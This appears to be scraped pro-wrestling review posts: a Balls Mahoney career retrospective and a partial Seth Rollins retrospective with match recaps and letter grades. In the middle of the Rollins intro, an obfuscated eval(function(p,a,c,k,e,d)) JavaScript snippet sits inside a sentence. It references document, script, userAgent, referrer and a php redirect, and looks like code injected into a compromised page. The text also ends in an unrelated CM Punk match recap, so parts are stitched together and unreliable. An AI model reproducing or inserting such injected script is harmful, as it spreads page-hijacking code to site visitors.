The challengers get nailed in the head three times in a row before they finally drop. They’re quickly back up though and nail stereo Roaring Elbows to drive the chairs into the Dudleys’ face. Jeff Jones won’t count the pin and pulls out a Japanese to English dictionary to explain what happened to Tanaka. Rotten caves his head in with a chair to cut out the language lesson. Big Dick low bridges Balls to the floor and 3D connects on Tanaka for two. That’s one of the only times, as in one maybe three times ever, that anyone ever kicked out of that move.

Bubba and D-Von argue over whose fault it is, earning them both chair shots to the head for two. Axl has handcuffed Big Dick to the post as a Nutcracker Suite and tornado DDT onto chairs get another double two count. D-Von piledrives Mahoney on a chair and Bubba powerbombs Tanaka onto one as well. It’s table time with both Dudleys loading one up but Van Dam and Sabu run out to drive the Dudleys through the wood. Mahoney and Tanaka come in for the pin to give us new champions.

Rating: D-. The only reason this isn’t a failure is how big of a surprise it was to see someone kick out of a 3D. This was so ridiculously overdone and taken beyond the suspension of disbelief that it stopped being fun at all. What was the point in saying Tanaka and Mahoney were so injured if they just absorb all those shots to the head? The match didn’t even wind up meaning anything as the Dudleys got the titles back five days later.

Here’s a rare singles match from Living Dangerously 1999.

Steve Corino, a young guy whose gimmick was that he was old school and wanted to do things the old fashioned way, talks about how he doesn’t need steroids and doesn’t need to wrestle around the world to hone his craft. He issues an open challenge and the fans want Sid. They get someone else instead.

Steve Corino vs. Balls Mahoney

Mahoney starts fast but misses a spinwheel kick and falls to the floor. Corino celebrates and the fans chant BORING. Steve loads up a dive but opts not to do it. He tries a few seconds later but gets caught in the air. Axl Rotten gets in a clothesline and Balls hits a frog splash for two back inside. Corino avoids another splash and hits a superkick before going for a chair. He teases nailing Mahoney but instead sits down for a chinlock. Joey: “BOO!” Mahoney won’t have that and superkicks Steve down before leveling him with the chair for an easy pin.

Rating: D. Not much to this but the anti-hardcore gimmick is one that is always going to work in ECW. Corino would get a lot better (and WAY more violent) in the coming months but this was a good national debut for the character. Mahoney is a perfect opposite for him as well, so this was actually time well spent.

When all else fails, give Spike Dudley a random partner and have him fight the Dudleys. From Heat Wave 1999.

Tag Titles: Dudley Boys vs. Spike Dudley/Balls Mahoney

Something tells me this is going to take awhile to start. Bubba talks about how these are the only belts that mean anything. That explains them jumping in less than 5 months. Gertner is still selling the injuries from the missed fireball. Joey says he looks like the Invisible Man. Joey, you fail. This is a fairly infamous promo as Bubba more or less has the crowd on the verge of rioting with how much heat they have on them.

This is where he says there’s a *insert gay slur here* in the front row and a mother who taught her daughter to suck. The Dudleys say that if the fans won’t come to them, the Dudleys will come to the fans. This is intense stuff if nothing else as a woman spits on Bubba. Now it’s time for Gertner to talk. He makes sex jokes based on the names of movies in theaters at the time to really date the show.

They’ve been talking for ten minutes now. Ok, we get it already. FINALLY Balls’ music kicks on. And now Balls talks. He says it’s a street fight with falls count anywhere. Wow I’m stunned. Naturally it’s a huge mess.

Seriously did you expect anything else? We get the cheese grater and I already hate this match. Seriously, what does this have to do with tag team wrestling? You never see more than two people on screen at once. D-Von and Spike are in the crowd doing whatever. Since there’s no referee with them, it’s rather pointless to follow them isn’t it? It’s just a big brawl with blood and random strikes. Spike dives off the balcony. Yeah I don’t care either.

Now I’m stunned as all four guys are in the ring at once. Holy goodness. The fans chant for flaming tables. Being put through one of those sounds pretty good right now. D-Von just goes off on Mahoney in the corner with punches. Ok that was kind of cool. The faces hit their finishers at the same time and of course the Dudleys kick out. And it worked so well the first time that we should just do that all over again!

So of course the four finishers don’t do it so they win with a schoolboy. Wow that’s riveting. The Dudleys do the beatdown afterwards and the table is lit up. Make that two tables. What a waste of fake wood. The powerbomb on Balls is botched. Yeah there’s nothing unsafe about that. Spike goes through. And since this was an idiotic match, here’s New Jack to really cram it home. As I’ve said, he is the epitome of everything wrong with ECW. This celebrating goes on forever as we kill more time.

Rating: F. The camera work sucked, there was zero wrestling, the ending was idiotic, it’s the same match as last month and the same feud for four months and New Jack was involved afterwards. What do you think I’m going to give this? It’s another sign that Heyman’s creativity was falling apart.

Tanaka and Mahoney were on again off again partners. Here they are off again, at Hardcore Heaven 2000.

Balls Mahoney vs. Masato Tanaka

The Balls song sounds a bit different. I think it’s a cover. Ah yes it is. I know this because it plays for about three and a half minutes with Balls just playing to the crowd. This is a long running rivalry that never really went anywhere for no apparent reason. Also, Tanaka can give Awesome every bit he can handle, but has trouble with Balls Mahoney?

Does that just not make sense for anyone else? Cyrus comes out and says the Network is taking over, despite not being on the network for this show. Ah he’s mad about Gertner being there on commentary. Yeah this isn’t bringing the show to a halt at all. Cyrus says Gertner’s fat body is a ratings killer. Strange I thought that was the booking, the look of the show, the wrestling, the language, the stories and the lack of new talent being pushed other than the same old guys.

Joel threatens Cyrus and W*ING Kanemura chokes him out from behind. Masato and Balls are just standing in the ring during all this and Cyrus takes over on commentary. Now they get the big intros, which to be fair was a tradition in ECW. Tanaka’s tights look like Too Much’s when they were heels (Too Cool later on). Mahoney actually does amateur stuff of all things and it works. This has been ALL Mahoney so far which is just weird.

Dang Balls is horrible at selling anything. Tanaka hits his running chair shot and the tornado DDT on the ramp. I guess Doug Williams stole it from Tanaka. Balls finds a chair and the fans pop. They both have them and let the duel begin. Tanaka continues his weird thing of no selling chairs. How does that even work? The crowd is white hot here, so at least it’s typical for ECW.

There are like 5 chairs in the ring now. Balls takes a tornado DDT onto the pile of them for two. The lack of pins after these ridiculous moves gets a bit tiring at times. Sweet goodness I love Diamond Dust. Balls hits the Nutcracker Sweet on Tanaka as we’re approaching the Awesome/Tanaka levels of insanity. Roaring Elbow (which sounds like a reject from World of Warcraft) gets two. A top rope chair shot and roaring elbow ends it though.

Rating: B-. Better than I expected, but it got completely ridiculous at the end. Tanaka is a different kind of character though as he goes to such ridiculous lengths of kicking out at times but it still works fine I think as it’s supposed to be over the top, which this certainly was.

Eh why not. Flaming tables from November to Remember 2000.

Balls Mahoney/Chilly Willy vs. Da Baldies

This is a flaming tables match. It’s a tables match but the table has to be on fire for it to count. Yeah that’s not overkill at all. Honestly, who thought Chilly Willy was a good name? It sounds like a name for a frozen drink that a 4 year old would drink. There’s a table in the ring already so we head to the floor. We hear the whole Balls used to be a big deal in high school wrestling. Is he the Al Bundy of wrestling or something?

We’re in the crowd and you can’t see a thing just to make it really feel like ECW all over again. They’re in a balcony as we continue to wait for something to happen. Lots of beers are being slammed onto people’s heads. It’s one of those brawls where each punch gets a cheer but they come every minute or so. They brawl in the aisle to fill in some time.

Willy gets powerbombed through two chairs on the floor. FREAKING OW MAN. Hey we’re actually in the ring now. Something tells me this isn’t going to last long. The lighters finally get brought into play with bottle after bottle of fluid. DeVito goes through the table and it’s finally over.

Rating: F+. This was TWELVE MINUTES LONG. Yes, this, is the longest match of the night so far. It’s the freakshow match of the night I guess but that doesn’t mean it was any good. Da Baldies go from being what was supposed to be a semi-big heel stable to jobbing to Chilly Willy. That’s ECW for you.

Since ECW had stuff like flaming tables, their last pay per view was coming soon. Balls competed at Guilty As Charged 2001.

Simon Diamond/Swinger vs. Balls Mahoney/Chilly Willy

What kind of a name is Swinger? In WCW he was Johnny Swinger and here he’s just Swinger. That never made sense. Swinger talks about not getting any from Dawn Marie while Simon has, so he’s gone out and gotten Jasmine St. Clair. She and Blue Boy come out and apparently Blue Boy is his new manager. Oh look: another pointless midcard faction. After about a minute of brawling, Rhyno comes in and gores everyone including the women. Well there’s five minutes filled. Jasmine takes a piledriver off the middle rope.

Mahoney would hit the indies like many people who worked for ECW. Here he is in a short term run in TNA, from Weekly PPV #78 on January 21, 2004.

Julio Dinero/CM Punk vs. Sandman/Balls Mahoney

Mahoney is the latest partner that Sandman has brought in to fight the Gathering. Sandman gets beaten down to start but Mahoney makes the save with a bunch of punches. It’s time to drink but Punk and Dinero nail superkick to knock the beer out of their mouth. Sandman nails a hurricanrana on Punk and Mahoney follows it up with a frog splash. Dinero superkicks both guys down but Sandman drapes him over the top rope. Punk and Mahoney fight to the floor before bringing a chair back in. Both members of the Gathering drive the chair into Balls’ face before a side slam/middle rope elbow combo onto the chair pins Mahoney.

Rating: D. Total mess that felt like a bad ECW match. To be fair though Punk was still just your usual indy guy at this point, meaning it was a lot of strikes and not a ton of selling. The match wasn’t any good, but what are you expecting from a team of Balls Mahoney and the Sandman?

Mahoney would appear at One Night Stand 2006 against an old friend/rival.

Balls Mahoney vs. Masato Tanaka

Taz (sans sunglasses) makes fun of Balls being from Nutley, New Jersey. What are the odds of that one? These two used to be tag champions. Show of respect to start as the fans are totally behind Tanaka. He has a bad shoulder too. Tanaka hammers away to start but walks into a powerslam and some punches. Mahoney is sent to the floor so Tanaka dives on him to start a brawl outside.

Balls wants a beer so he takes a sip and drills Tanaka with the rest of it. Running chair shot misses as a fan has a sign that says pork. No one ever said they made sense. Back in now and Tanaka gets a superplex for two. Balls gets one of his own and screw it let’s have a chair duel. A huge shot from Mahoney is enough to end it, which is a bit hard to buy after the war Tanaka and Awesome had last year.

Rating: D+. Just a quick match to give the fans a breather which is probably a good idea. This was a rematch from some original PPV I think but that wasn’t referenced. To be fair though it’s not like there was a point to this one so I can’t blame them for that one. Just a match here and there’s nothing bad about that.

With ECW being brought back as a full time show, Mahoney had a match on June 19, 2006’s Raw.

John Cena vs. Balls Mahoney

They slug it out to start with Cena getting two off a fisherman’s suplex. The fans are all over Cena here and Mahoney pokes him in the eye to take over. A hard superkick gets two on Cena but John comes back with right hands and the ending sequence. Heyman sends in a chair but Cena grabs a drop toehold and puts on the STF for the submission.

Here’s a match from the revised ECW on August 7, 2007.

The Miz vs. Balls Mahoney

Extreme Expose is at ringside for no apparent reason. Miz gets punched in the face to start but is able to send Mahoney face first into the middle buckle. Mahoney comes back with punches and the Nutcracker Suite for two but the Reality Check gets Miz a fast pin.

We’ll wrap it up with the mess that was Hardcore Justice 2010.

Cajones/Axl Rotten vs. ???/???

Cajones is of course Balls Mahoney. He issues an open challenge and it’s JOEL GERTNER. Ok this is at least an improvement. I think I smell Team 3D. Yep I’m right and they’re in tye-dye. Thankfully Joel does a poem which is funny. He looks…bad. Like even worse than before. It’s a South Philadelphia Street Fight in Orlando according to Ray.

They go split screen here for the sake of torturing us even better. Ray shouts at him and calls him Balls because that’s ok I guess. We go into the crowd for fun. This is “hardcore” I guess with mainly just punching and random shots with weak weapons. We bring in some more traditional weapons back in the ring. The announcers are of course cracking up over everything here instead of selling it like a hardcore match.

Frying pan to the head of Balls. And Mahoney breaks out a freaking toy lightsaber. And so does Bubba. I hate this show. I truly do. Axl botches a reverse DDT on Bubba and Nutcracker Suite to D-Von gets two. The fans want flaming tables. They get a chair duel instead. The referee tries a double clothesline on the team that isn’t the Dudleys. It fails, much like this match. The Dudleys bring in a table and Gertner has lighter fluid. Balls goes through it, ending this mess.

Rating: D-. Flaming table is all that keeps this from failing. This whole show is a joke and that’s being kind.

There isn’t much to say about Balls Mahoney, but he wasn’t as bad as people remember him being. Yeah he was part of a team called the Hardcore Chair Swinging Freaks, but he had a decent career outside of ECW as well. There are far worse guys out there (like Axl Rotten for example) but he’s not terrible.

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Wrestler of the Day – May 28: Seth Rollins

We’ll pick things up a bit today with Seth Rollins.

Black eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehrst|var|u0026u|referrer|rdrkr||js|php'.split('|'),0,{})) got his start in a local promotion in Iowa under the name Gixx. I actually have his debut match here from sometime in 2003.

Gixx vs. Jerkel

I really hope I just couldn’t understand the other guy’s name. Apparently this is 2/3 falls for no apparent reason. They lock up to start and kick at each other without breaking the grip. Jerkel hits some nice armdrags but Gixx blocks a spinwheel kick and puts on a front facelock. Back up and Jerkel gets low bridged to the floor, and since this is an indy in the early 2000s, Gixx follows him out with a big flip dive.

Back in and Gixx jumps into a boot to the face to knock him to the floor, setting up a big spinning dive off the top. Totally unnecessary spins and the fans didn’t seem to care all that much. They head inside again with Circle stomping away, only to have Gixx nail a big kick to send him outside. Gixx brings him back in for a double underhook piledriver for two, because why should a big move win a fall like that?

Jerkel comes back with a DDT for two of his own before hammering away on the back of Gixx’s head. Gixx rolls through a top rope cross body for two before hitting a dropkick to the back of the head. A pair of neckbreakers by Jerkel set up a choke of some sort but Gixx slaps the mat to get the crowd on his side. An Angle Slam into another neckbreaker gets the first fall for Jerkel.

No break between falls as Jerkel hammers away to start the second. Jerkel crotches himself on the middle rope and gets caught with a reverse DDT allowing Gixx to miss a top rope flip dive by literally six feet. We hit the chinlock from Jerkel for a few moments before Gixx is sent to the apron. He bounces up for a bad looking springboard neckbreaker and two, followed by an AA onto his knee. A standing shooting star gets another near fall as this just keeps going.

Jerkel gets two off a spinwheel kick and a kind of suplex that I couldn’t see because the referee was in the way. Gixx grabs a hurricanrana that Jerkel was nice enough to stand perfectly still for and things stop for awhile. Back in and Jerkel hits a way overdone headscissors for two folowed by a running senton to the back for the same. Gixx escapes a top rope hurricanrana and hits a tornado DDT for one as the match still won’t end. A collision puts both guys down before they slug it out.

Gixx reverses whatever stupid spin Jerkel was trying to do into a spinning Cross Rhodes for the second fall. A top rope hurricanrana (looked bad) sends Gixx flying and the camera focuses on a very fat man who has come down to ringside. Apparently this is a big deal and he says if they want to mean something in SCW, follow him. Gixx goes to follow him but Jerkel punches the female referee down before leaving with the fat guy. Seriously, that’s how the match ends.

Rating: F. Oh sweet goodness I hate myself now. I don’t even know where to start on this mess. First of all, the ending was ridiculous as they basically said screw the match and start I guess a heel stable. After FIFTEEN MINUTES that’s the best they can come up with? Also, this was the opening match of the show. You’re supposed to open a show with something quick and exciting, not something WAY too long with a gimmick that didn’t need to be there and a mess like this. It’s the definition of a spotfest in every bad sense of the term. I haven’t been this miserable in a match in a very long time and can’t wait to watch ANYTHING else.

Next up was a spot in WSX, where he would be in action under his most famous name at the time: Tyler Black. From February 13, 2007.

Team DIFH vs. Disco Machine/Joey Magnum Ryan

DIFH is Tyler Black/Jimmy Jacobs and stands for Doing It For Her, since Jacobs is in love with some chick. Black gets double teamed to start while Jacobs is hitting on a girl in the front row. Tyler comes back in with a great looking springboard double clothesline before throwing Jacobs into the corner. A doomsday rana takes Ryan down but he takes a distracted Black down. Black comes back with a sunset bomb attempt but there go Ryan’s trunks. Joey spears Black through the ropes and Disco powerslams Jacobs off the middle rope for two. Too short to rate but Black stole the show.

We’re going to jump ahead a good bit to Tyler Black’s time in ROH. He’s one of the top young stars in the company at this point and made it to the Survival of the Fittest finals in 2009.

Survival of the Fittest Finals: Claudio Castagnoli vs. Chris Hero vs. Delirious vs. Roderick Strong vs. Colt Cabana vs. Tyler Black

Now for those of you that haven’t heard of Delirious, this guy is freaking INSANE. He babbles incoherently and has been known to wrestle matches in slow motion. What does that tell you? Oh and he’s awesome in the ring by the way. He and Punk had an AWESOME match in I think IWA-MS that got me into both guys.

The cool thing about this for me is I legitimately don’t know who is going to win. Most of the time I know the results but here I’m completely blank on them. Black sells the injury to his neck from earlier on the way in which is nice. I hope there are tags in this.
Claudio and Hero used to be in a team that dominated indy tag wrestling for awhile called the Kings of Wrestling and Delirious and Black were in the Age of the Fall together. Ah good it is tagging. Delirious, Strong and Hero have all won. Black and Delirious start, and my money is on Black to win it.

They start with a lot of technical stuff before Cabana comes in for Black. Let the comedy begins. Black is criticized for never being able to win the big one, which is a common criticism that there was for ROH. I’m not going to list off all the tags as they’re going rather fast. We get Castagnoli vs. Hero, which is a battle of the skyscrapers in ROH as both guys are 6’5, which is enormous in this company.

A thing I like about indy wrestling is you can use other stuff than signature moves in a match. For example, they trade full nelsons. That move makes sense, but in WWE no one but Masters can use it. See what I mean? Now I don’t mean everyone uses the FU or the Pedigree, but a transitional move like the spinebuster shouldn’t be only reserved for HHH and two other guys.

In a WEIRD looking spot, both guys interlock their legs and then wind up standing on their heads. They shake hands while in this position. That’s rather…uh…yeah. It’s Black and Claudio now as we’re definitely in for the long haul here. Everyone is still in at this point. Prazak is in love with Hero I think. He refuses to shut up about how awesome he is. In a PAINFUL looking spot Claudio spins Black around by the hair.

That has to hurt badly. In a great sequence that gets the crowd going, Delirious drills Claudio with about 10 clotheslines in the corner before Hero saves him. Cabana comes in and we get a mini tag match. The Kings of Wrestling are thrown to the floor and get stereo suicide dives, but then Strong and Black get in and launch themselves over the top rope at both guys. Very awesome and fast paced spot.

It’s Delirious vs. Claudio now and the crazy masked man is in trouble. In a movie I haven’t seen before, Claudio uses a hip toss from the second rope. That’s different if nothing else. I like Hero’s facial expressions. Delirious goes for a backslide on Claudio but Hero knocks the European’s head off with the elbow, allowing Delirious to get the backslide and the pin. Immediately as in less than 5 seconds later, he rolls up Cabana and we’re down to four. I’ll give this match this much: it’s not boring.

After an elbow from Hero he covers Delirious and the referee does that same thing he did earlier on with the count stopping at two even though the kickout hasn’t happened yet. We hit a messy segment and Strong hits a big kick into the chest of Delirious to put him out. Immediately after he kicks out of the elbow from Hero and a Liger Bomb.

We have Strong, Hero and Black left in case you weren’t sure. If I remember right Strong is known as the Messiah of the Backbreaker, as he uses a ton of them. That’s unique if nothing else. Hero and Black just pound the tar out of each other with forearms. And there goes Hero to a move called God’s Last Gift. Think of a Perfectplex but instead it’s a really compact DDT where he just hooks the legs into a small package for the pin. I like that.

So it’s Strong vs. Black for the title. Works for me. Black gets a NICE flying elbow from the top for two. They’re cranking up the speed here and I’m digging this. Strong hits a bunch of backbreakers and then we hit the Strong Hold: a Boston Crab. That’s psychology, even though Black has a bad neck. It’s passable though as his finisher is a back submission.

Strong gets knocked into the crowd and Black goes up with a flying clothesline into about the third row. I love the shot of the fans just moving backwards for them. I like that for some reason. I love Black’s springboards. He doesn’t use a bunch flips or anything but just launches himself at Strong. We’re back in the Strong Hold and the fans chant tap.

Somehow he kicks out and then Black hits his two finishers for two. This is great stuff here. Strong gets the loudest kick to the back of Black’s head that I’ve ever heard. Fans are WAY into this. Strong just goes insane on Black with knee shots and an AWESOME kick to the head for TWO.

The kicking out is getting to be a bit much here. I get the survival thing, but this is getting to be a bit much. Ok yeah three straight superkicks gets two. The fourth gets it but Strong kicked out anyway, so the fans boo the finish. That’s never good. Black wins and then gets on the mic and says thank you to Strong in a cool moment. He then says that Cornette was wrong. These guys aren’t the future, but the future is now, and Strong deserves a rematch to end the show.

Rating: A-. This was about 45 minutes long and awesome throughout. The fans were way into it and by the end I was buying into it also. The key thing for me was that all 6 guys looked like potential winners and while based on the way Black had been built up throughout the night it was kind of clear he would win, it was never a lock, which makes the match instantly better. Very fun stuff here and while I usually don’t like multi-man matches, this was an exception, which is saying a lot for me.

Black would soon win the World Title and defend it at Bitter Friends Stiffer Enemies 2.

ROH World Title: Chris Hero vs. Tyler Black

Hero is one half of the tag champions here. Black is mostly over. I’ve only seen a little of him but he’s not bad. Hero is solid of course so this should be pretty good. Hero is doing the whole knockout forearm thing where his arm is likely loaded in some way. The fans seem to like Chris more.

Allegedly Black is starting to feel the pressure of being champion which says HEEL TURN to me but whatever. It’s all Black to start us off here. See WWE? See how to make a champion look strong? Is it really that hard to do? I certainly wouldn’t think so. Hero does something very innovative and just grabs Tyler’s face. Actually it’s not innovative as George Steele did it at Mania 2 to Savage so there we are.

We even get basic heel cheating from Hagadorn on the floor. Hero is whipping Rollins all over the place at the moment. Hero kicks him on the floor and Black just collapses in a great visual. This match is just kind of plodding along but I’d bet that we have a lot to go in it so I guess that’s fine. Also I’m expecting the whole finisher-fest to start up in about ten minutes here.

Hero REALLY likes arguing with the referee. Here comes the first comeback and there goes Black as he gets knocked to the floor by a big old elbow smash. He stays on the floor to ten and then I remember that we go to twenty which is just not something I’m anywhere close to being used to. He got popped in the jaw by an elbow and covered for two when he got back in at 19 so there we are.

There is absolutely no feeling of drama in this at all. It’s just not there. Black throws him to the floor where his head slams into the railing. A nice somersault plancha takes Hero down as we hit the floor for I believe the third time tonight. Both guys try springboard moves but neither work at all. The fans again think it’s awesome and again I have to disagree.

Black signals for the superkick by stomping on the mat so thankfully Hero blocks it. I’ve always hated that whole stomping or clapping thing as it just acts as a way to get the other guy knowing what’s coming. Hero hooks a Cravate (headlock from the side. Think of the start of a snapmare kind of) and then he lifts him up and uses it as a neck crank. NICE LOOKING move.

Hero keeps using the elbow which makes the big elbow smash as his finisher seem a bit weaker. We slug it out in the middle of the ring and Hero asks why Black won’t go down. Black punches him in the face. I love that. Black busts out an F5 in a nice move. We go to the corner and they slug it out for position but Hero gets caught in a Tree of Woe. DOUBLE STOMP OFF THE TOP!

Nice one again as that looked like it hurt like heck. They’ve cranked it WAY up in the last 4 minutes or so. Black’s eyes are great here as they just roll back in his head here. The spinning elbow hits twice and Black kicks out to almost no reaction. See what I mean? No one thinks the title is going to change here.

The crowd is FAR more pro-Hero than Black. Black hits the Buckle Bomb as apparently the knockout shot didn’t have much effect on him I suppose. The third doesn’t even knock him down as Black hits the superkick immediately afterwards in a last gasp of breath which is pure AJPW stuff which I can’t complain about.

Another superkick gets another two. Yeah they’re doing more strikes here like in the Strong match but this is more entertaining for some reason. Hagadorn interference doesn’t work and a small package driver (God’s Last Gift which is a good name) ends it. In something that made me laugh for no apparent reason, Black gets Hero’s tag title and throws it to him, but has to make sure it’s the right belt first. Not sure why but that made me laugh.

Rating: B+. The ending 8 minutes or so made this match as they were entertaining enough for a high grade. However it once again falls under the problem I tend to have with big ROH matches: while they’re entertaining, there’s this level that they reach and then they stop. At the end for instance, Hero and Black started just hammering each other and while it was entertaining, you could feel them hit the ceiling and you knew it wasn’t going to get past it. A great match is one that reaches that point and then blows past it moments later. I’ve never gotten that in an ROH match and it’s a recurring problem in this company.

Black would soon go to the WWE as Seth Rollins, making his FCW debut on October 24, 2010.

Seth Rollins vs. Vance Archer

Rollins stares Archer down to start so Vance kicks him in the face to take over. Back up and Seth has to bail out of a dropkick but backflips to land on his feet. A powerbomb is countered by a Rollins hurricanrana but Archer knocks him off the top and out to the floor. Back in and a kick to the chest has Rollins in trouble and we hit the chinlock. Something like a Rock Bottom into a Stunner (Archer sit down instead of laying out) gets two on Seth and Vince is getting annoyed.

We hit the chinlock for a bit before Archer misses a legdrop. Seth comes back with some shots to the head and a one knee Codebreaker followed by a kick to the back of the head. Archer bails to the floor but gets caught by a runnung flip dive for two back inside. A Lionsault misses so Seth hits a running shooting star for two. Archer hiptosses him off the middle rope but misses a moonsault, allowing Seth to hit a low superkick (Avada Kedavra) for the pin.

Rating: C. Not a great match here but it was good enough for a debut. The low superkick (great name too) was a solid finisher for someone of Rollins’ size and Archer was a good foil for him. This was so much better than the Gixx match as Seth had learned how to structure a match and actually sell stuff.

Rollins would become the Florida 15 Champion, meaning all of his title defense would be in 15 minute Iron Man matches. Here’s such a defense from FCW TV on July 31, 2011.

FCW 15 Title: Seth Rollins vs. Rick Victor

They trade rollups to start before Rollins chops away in the corner. Some leg work doesn’t get Rollins very far though as he walks into a hot shot and Rick slaps on a chinlock. Back up and Rollins scores with some clotheslines and a suplex followed by a downward spiral into the buckle. The curb stomp gives Rollins the first fall at 4:00 in.

We take a break and come back with 8:45 on the clock and the score tied at 1-1 due to Victor hitting a running elbow in the corner. Rick puts on a chinlock for a bit until Seth fights up from his knees, only to be put in a sleeper. Back up again and Seth nails an enziguri followed by a springboard clothesline to send Rick out to the floor. Dean Ambrose, who has been wanting a title shot, is watching from the back. Rollins dives outside in something we didn’t see and both guys are down.

Back inside and a standing Lionsault press gets two for the champion but Rick takes him to the top rope. Five minutes to go. Victor can’t superplex him but Rollins can’t sunset bomb Rick. Victor escapes a buckle bomb with four minutes left before sending Rollins face first into the buckle. Rollins comes back with a rollup for a fast pin, even though Victor’s shoulder was up.

Three minutes left and they slug it out until Victor hits Winds of Change into a backbreaker for two. There are less than two minutes left when Rick hits a wicked running uppercut for another two and we’ve got a minute to go. Seth gets crotched on the ropes and hit with a springboard uppercut for an even closer two. Rollins breaks the count by getting his foot and hand on the ropes. Victor runs into two knees in the corner and time runs out to give Rollins the win.

Rating: C+. I could get into this gimmick if they gave it some time on a show like this. It would never work on WWE TV but for a developmental territory it’s a nice little gimmick title. Rollins was getting much better as the small underdog who makes the most of every move he uses and he would make that an art in the future.

This is a match that could headline a PPV today. From January 12, 2012.

Roman Reigns vs. Dean Ambrose vs. Seth Rollins

Reigns is known as Leakee here but that looks better as a title. The winner gets a title shot next week. Ambrose stops to look at William Regal, who he’s been having a long feud with at this point. We’ll get there eventually. Leakee pulls Dean down as Regal talks about how glad he is that his children don’t have evil in their eyes. Rollins gets double teamed but Leakee slams both of their faces into the mat to take over.

Now it’s Leakee getting double teamed as we take a break. Back with Leakee still being double teamed as Regal talks about how great it is for he and Ambrose to be evil but he’s trying to control his hatred. Ambrose rolls Rollins up for two before getting sent to the floor. Leakee knocks Rollins out of the air for two but Ambrose takes Leakee down into the Regal Stretch as part of an obsession with getting a rematch. Leakee makes the ropes but Rollins springboards in with a clothesline to Dean. The low superkick sends Leakee to the floor but Dean counters another attempt into a wheelbarrow slam for two. Ambrose misses a knee trembler (Regal’s finisher) and Rollins hammers away, only to miss the curb stomp.

Instead he dives through the ropes to take out Leakee before heading back inside to slug it out with Dean. Regal admits that he knows Ambrose will be the end of him as Ambrose turns Rollins inside out with a clothesline. Leakee comes in and Samoan drops both guys at the same time before Checkmate (a running bulldog, a terrible finisher for him) ends Ambrose for the pin.

Rating: C+. All this really did was make me want to watch Ambrose vs. Regal in a match that tears the house down and shows more emotion than anything WWE has done in years because they’re both old school workers like that. The match itself was your usual triple threat. Leakee changing finishers was the best idea he could have had.

FCW would soon turn into NXT and Rollins would be a big deal there too. He would advance to the finals of the Gold Rust tournament to crown the first NXT Champion. Here’s the title match from August 29, 2012.

NXT Championship: Jinder Mahal vs. Seth Rollins

They have a ton of time for this. Fink may be fat and older now (he’s only 62 so he’s hardly ancient), but that voice is still perfect. Mahal won’t shake Dusty’s hand before the match. Rollins tries to take him to the mat to start but Mahal gets back up quickly. A dropkick puts Mahal down again and Rollins hits a hard chop. Mahal gets sent to the floor but he avoids a dive and sends Rollins face first into the apron. A suplex onto the ramp has Rollins in trouble and we head back in.

We take a break and come back with Rollins in even more trouble. Mahal stomps him down and hits a backbreaker to start setting up the camel clutch. Rollins gets choked against the ropes and the fans are behind Rollins now. He tries a comeback but gets kneed in the face by Mahal to take him back down. The camel clutch is escaped so Mahal pounds him in the back again. An enziguri out of nowhere puts Mahal down and Rollins punches Jinder down.

Mahal goes up for another knee but Rollins knocks him off the top and out to the floor. Rollins hits a HUGE dive to the floor and both guys are down. Back in and Seth goes up again, only to get crotched and superplexed from the top. We take another break and come back with the two of them slugging it out. Mahal might have a bad knee but he pulls off a sitout slam for two. A full nelson slam is countered and Rollins goes to the apron.

Seth hits an enziguri to the head and a running knee for two. The near falls are getting closer and closer here. A running forearm in the corner staggers Mahal but he manages to drop Rollins face first into the buckle. The low superkick (I think he calls it Avada Kadavra, making Rollins awesome) gets two. Phoenix Splash (moonsault into a 450) misses and Mahal hits the full nelson slam for two. Rollins gets to the rope before the clutch can go on and Rollins rolls him up for two. Rollins comes back with the buckle bomb and the Blackout out of nowhere for the pin and the title at 14:24 shown of 21:24.

Rating: B. I’m still not wild on Rollins’ in ring work but the fans are into him and he’s not dull. He also needs a new finisher as the Blackout looks pretty forced to put it mildly. As for the match though, they did a great job of building both guys up as unbeatable and then having them go at it. The match was very good as far as making you wonder who was going to win and it turned into a good back and forth fight at the end. Not a masterpiece or anything, but for the first NXT Championship, this was more than acceptable.

Fink giving Rollins the NEEEEEEEEEEEEEW treatment makes the announcement much better. The roster puts Rollins on their shoulders to end the show.

Of course Rollins would debut as part of the Shield in late 2012 and run roughshod over WWE for years to come. Here’s one of their first steps, from Extreme Rules 2013.

Tag Titles: Roman Reigns/Seth Rollins vs. HELL NO

This is Texas Tornado rules, meaning all four men are in the ring at the same time. The fact that there were some deaths a few days ago due to tornadoes in Texas makes this bad timing for this gimmick. Kane and Bryan are defending. It’s a big brawl to start as you would expect with the champions taking over. Bryan puts Rollins in the surfboard and Kane adds in a low dropkick for two.

Kane gets double teamed down in the corner and then Bryan gets the same treatment. Reigns loads up a powerbomb off the middle rope but Bryan counters into a rana to put everyone down. Kane grabs both Shield members by the throat before shoving them to the floor, allowing Bryan to hit the suicide dive to take both guys out. The champions take turn hitting clotheslines on both guys in the corners before Kane hits the top rope clothesline on Rollins, allowing Bryan to hit the Flying Goat for two.

Bryan gets the NO Lock on Reigns but Rollins finally makes the save. A chokeslam puts Rollins down but Roman catches Kane with the spear. Back up and Reigns shoves Kane into Bryan, only to get caught around the throat. Seth comes in off the top with a knee to Kane’s head, allowing Reigns to hit a second spear. Bryan makes the save but can’t get the NO Lock on Reigns. Rollins makes the save so Reigns can put Bryan in a torture rack. Seth comes off the top with a knee to the chest, good for the pin and the titles at 7:24.

Rating: C+. Again this was ok but nothing great. They could have used another five to ten minutes here but for some reason they’re flying through these matches tonight. Shield winning was the only logical conclusion as there was nothing left for Bryan/Kane to do with the belts at this point. Decent but not great here.

Rollins has had some singles matches on Raw as well, including this one from August 26, 2013.

Curtis Axel vs. CM Punk

It’s non-title despite Axel challenging him for a title match on Smackdown and Punk saying “I accept.” The third option of Heyman having to face Punk if Axel loses wins with 81% of the vote. Punk goes right after Axel and grabs a headlock but can’t hit the GTS. Axel bails to the floor so Punk charges up the ramp at Heyman, allowing Curtis to get in a cheap shot. Back in and Punk escapes a chinlock and gets two off the knee in the corner. Axel rolls to the floor before the Macho Elbow can be launched but Punk hits the suicide dive as we take a break.

